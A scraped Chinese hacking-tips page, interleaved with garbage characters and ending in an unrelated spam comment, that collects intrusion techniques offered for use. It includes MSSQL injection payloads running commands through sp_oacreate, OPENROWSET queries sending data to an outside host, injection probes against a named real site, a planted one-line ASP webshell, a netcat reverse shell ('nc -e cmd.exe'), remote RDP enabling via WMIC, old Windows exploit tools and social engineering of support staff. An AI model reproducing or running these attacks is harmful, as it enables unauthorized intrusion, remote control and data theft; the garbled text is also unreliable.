站库分离的方法

admin

SA点数据库分离技术相关
% l2 t. Y# b; X1 c5 @
8 @1 m  K' i) e$ ]% E) J
7 J& [4 h) g/ r3 ZSA点数据库分离搞法+语句:

注射点不显错,执行下面三条语句页面都返回正常。
$ H5 Q5 ?' u) j$ _& }; S+ Aand 1=(select count(*) FROM master.dbo.sysobjects where name= 'xp_regread')
) a& ^- s' {" i' Uand 1=(select count(*) FROM master.dbo.sysobjects where name= 'sp_makewebtask')
5 h' c0 }* a2 ~and 1=(select count(*) FROM master.dbo.sysobjects where xtype = 'X' AND name = 'xp_cmdshell')
可以列目录，判断系统为2000，web与数据库分离
遇到这种情况首先要想办法得到数据库IP来进行下一步得渗透了。
在注射点上执行
6 n4 ?4 |, U( l6 B4 ddeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd /c net user ';--
) m. |: c8 z5 J& h, v% ~7 T页面返回正常，通过上面这个命令执行telnet我一个外网肉鸡得1433端口，然后netstat/an没有得到IP
还有我用NC监听得其他端口都没有得到IP。
. J  O  A, P6 C3 D4 W5 c3 Y
通过注射点执行下面这两个命令页面都返回异常，在肉鸡上面同样也是没有得到IP。
'insert into opendatasource('sqloledb','server=xxx.xxx.xxx.xxx;uid=sasa;pwd=sasa;database=tempdb').tempdb.dbo.temp select name from master.dbo.sysdatabases--

;insert into OPENROWSET('SQLOLEDB','uid=sa;pwd=pass;Network=DBMSSOCN;Address=xxx.xxx.xxx.xxx,1433;', 'select * from dest_table') select * from src_table;--
. z0 X: ]- k- |* _1 e' u
, L8 c/ H' S% e" {现在就猜想是不是数据库是内网而且不能连外网。
) z+ g  u4 y; l

access导出txt文本代码
4 H# I2 K' A4 q+ o) A* zSELECT * into [test.txt] in 'd:\web\' 'text;' from admin
! G" S5 P2 t8 f4 N& c$ o$ z
1 Y+ `" E+ X1 t* c, g. S  s
/ k4 w# p" ?& p4 f1 e
自动跳转到指定网站代码头
5 w( R4 e2 @5 s! r<body onload='vbscript:document.links(0).href="http://www.google.com":document.links(0).innerHTML="www.sohu.com"'>

( m0 Y5 T* A' z/ q
入侵java or jsp站点时默认配置文件路径:
\web-inf\web.xml
tomcat下的配置文件位置:
" J. D1 N* M  \! c+ h+ ~5 I\conf\server.xml            (前面加上tomcat路径)
" ?4 m: W4 p- l6 j\Tomcat 5.0\webapps\root\web-inf\struts-config.xml
. B9 X. |/ U/ R: [; b- d: V
' c0 J3 R4 h) _# v/ _5 q7 p
2 r# u6 k$ d3 X
检测注入点新方法运算符法,在过滤了and or cookies时用比有效果:
0 X. R) j& d* E) V% j6 l- _- z1 Q-1%23
>
<
, v3 a* u6 \) T* U4 V1'+or+'1'='1
id=8%bf
- M( D2 x( p! E+ A0 Z7 l* f; \" a
全新注入点检测试法:
在URL地址后面加上-1，URL变成：http://gzkb.goomoo.cn/news.asp?id=123-1，如果返回的页面和前面不同，是另一则新闻，则表示有注入漏洞，是数字型的注入漏洞;在 URL地址后面加上 -0，URL变成 http://gzkb.goomoo.cn/news.asp?id=123-0，返回的页面和前面的页面相同，加上-1，返回错误页面，则也表示存在注入漏洞，是数字型的。

+ M  G: L$ S/ T* ]& Q在URL的地址后面加上'%2B'，URL地址变为：http://gzkb.goomoo.cn/news.asp?id=123'%2B'，返回的页面和1同;加上'2%2B'asdf，URL地址变为：http://gzkb.goomoo.cn/news.asp?id=123'%2Basdf，返回的页面和1不同，或者说未发现该条记录，或者错误，则表示存在注入点，是文本型的。

搜索型注入判断方法:
1 C! H% O3 g6 _+ _% o( @% D+ }1 E& p北京%' and '1'='1' and '%'='
# d. @- T2 V6 l" c+ ]" ^北京%' and '1'='2' and '%'='
+ Y2 ^1 K2 [$ l  ^
' L6 U7 r+ Q8 A; i  M+ p
) p5 R" m0 f+ c/ ZCOOKIES注入:

javascript:alert(document.cookie="id="+escape("51 and 1=1"));

# Q. _3 L9 W. v$ [. e" N( ^5 k6 y  D% [2000专业版查看本地登录用户命令:
net config workstation

/ H1 |2 [' W4 g, I) b3 x
6 i1 M# x/ z; }. M2003下查看ipsec配置和默认防火墙配置命令:
8 d# g0 H0 k# Xnetsh firewall show config
$ T6 w+ N6 t' Inetsh ipsec static show all

不指派指定策略命令:
0 b& t' {4 R! G& wnetsh ipsec static set policy name=test assign=n  (test是不指派的策略名)
netsh ipsec static show policy all  显示策略名
; c+ o7 E, ?' g( }

猜管理员后台小技巧:
  I+ E' z/ D1 A& e: h1 P) _admin/left.asp
admin/main.asp
, q& |2 Z7 M- Kadmin/top.asp
, a) |: B& Y9 cadmin/admin.asp
会现出菜单导航,然后迅雷下载全部链接


1 x. }1 j* k) [3 x9 c, F8 ?社会工程学:
用这个查信息 http://tool.chinaz.com/ Whois查域名注册人和维护人
6 j7 T( D. \: U+ y& r* D然后去骗客服


统计系统使用的是IT学习者的统计系统，在网上下载了一套回来研究。这样的系统拿webshell一般就二种：1.数据库插一句话木马，客户端连接得到。2.网站配置页面写入木马代码拿webshell。打开数据库目录，发现数据库扩展名是asp的，默认路径:data/#ITlearner.asp,把数据库扩展名改成*.mdb，用明小子的数据库工具打开，发现有防下载的表。管理员的默认密码是：ITlearner。数据库插一句话木马这条路是走不通了，现在只有看第二种方法看行不。输入默认密码进入 http://www.cnc-XX.com/admin/cutecounter /admin.asp?action=ShowConfig,查看原代码：
4 ?) c4 I+ J+ N' Z' u7 [查找 修改maxlength="3"为maxlength="100">这里是为了突破固定长度的字符输入。然后查找 处 修改为action="http://www.cnc-XX.com/admin/cutecounter/admin?Action=SaveConfig">，
" I, L* ]$ \: \* d+ W: A　　存为html文件打开后在最后详细来访信息记录多少条记录，默认为100条框输入100:eval request(chr(35))，点击保存。提示无法找到，结果发现。
3 d2 x0 @$ X, C


1 F- s! z  T0 \& |- ~7 K6. 554端口 用real554.exe入侵。 6129端口 用dameware6129.exe入侵。 系统漏洞 利用135、445端口，用ms03026、ms03039、ms03049、ms04011漏洞， 进行溢出入侵。 3127等端口 可以利用doom病毒开的端口，用nodoom.exe入侵。（可用mydoomscan.exe查）


$ f% r4 P! a  ~+ R' \% {1 Y
CMD加密注册表位置
; u1 I" _% f( G& _: N! }(1)HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Command Processor
AutoRun

(2)HKEY_CURRENT_USER\Software\Microsoft\Command Processor
AutoRun


# w2 \7 `8 q" L# {0 `在找注入时搜索Hidden,把他改成test
2 p% ]! l1 U: x* K

# P6 C  y; ^! b( z9 Z9 m" }
mstsc /v:IP /console
! N3 G, z1 B9 m
: G% Q' T# z7 W0 P0 R. U
一句话开3389:

& m& c  Z+ @" ?5 g最近我在网上看到新出了一种方法,一句话开3389,不过好像听说只能用于2003系统,唉,还是写出来和大家分享一下吧.很简单的,wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1 adh=Kp e!w 8 kw`=wSH>  
开远程：WMIC /node:"远程机器名" /user:"administrator" /password:"lcx" RDTOGGLE WHERE ServerName='远程机器名' call SetAllowTSConnections 1          就是这样了,其实还有其他的一些方法开2003的3389,我这里也不多作介绍了,大家有空上网一查就知道了.
' Z8 O/ M! \# ?
0 x7 }3 {* `$ f. `8 p
9 `" B' Q" k# P知道表名，字段，使用SQL语句在ACCESS数据库中加个用户名及密码语句如下:
Insert into admin(user,pwd) values('test','test')
" ]/ U0 U# z+ C% t" n) ?

NC反弹
# N! w; k8 X+ B6 h9 Y. W0 q; T先在本机执行：　　　　　nc -vv -lp 监听的端口     (自己执行)   
然后在服务器上执行：　 nc -e cmd.exe 自己的IP 和监听的端口 (对方执行)

4 F: k1 k( }6 K9 S. O7 r
在脚本入侵过程中要经常常试用%00来确认下参数是否有问题
( c0 I6 q( x( e& W& T; c
有时候我们入侵的时候，在webshell没有办法列举网站的目录包括dir也不行的时候，这个时候可以尝试用DOS命令SUBST转移目录
/ {. C6 l9 {0 G- _6 E% t例如:
subst k: d:\www\ 用d盘www目录替代k盘
" D; y1 T5 A- Fsubst k: /d  解除K盘代替

We are a group of volunteers and starting a new scheme in our community.
Your web site offered us with valuable information to work on. You've done a formidable job and our entire community will
be grateful to you.
Website: Antispur Duo Forte proprieta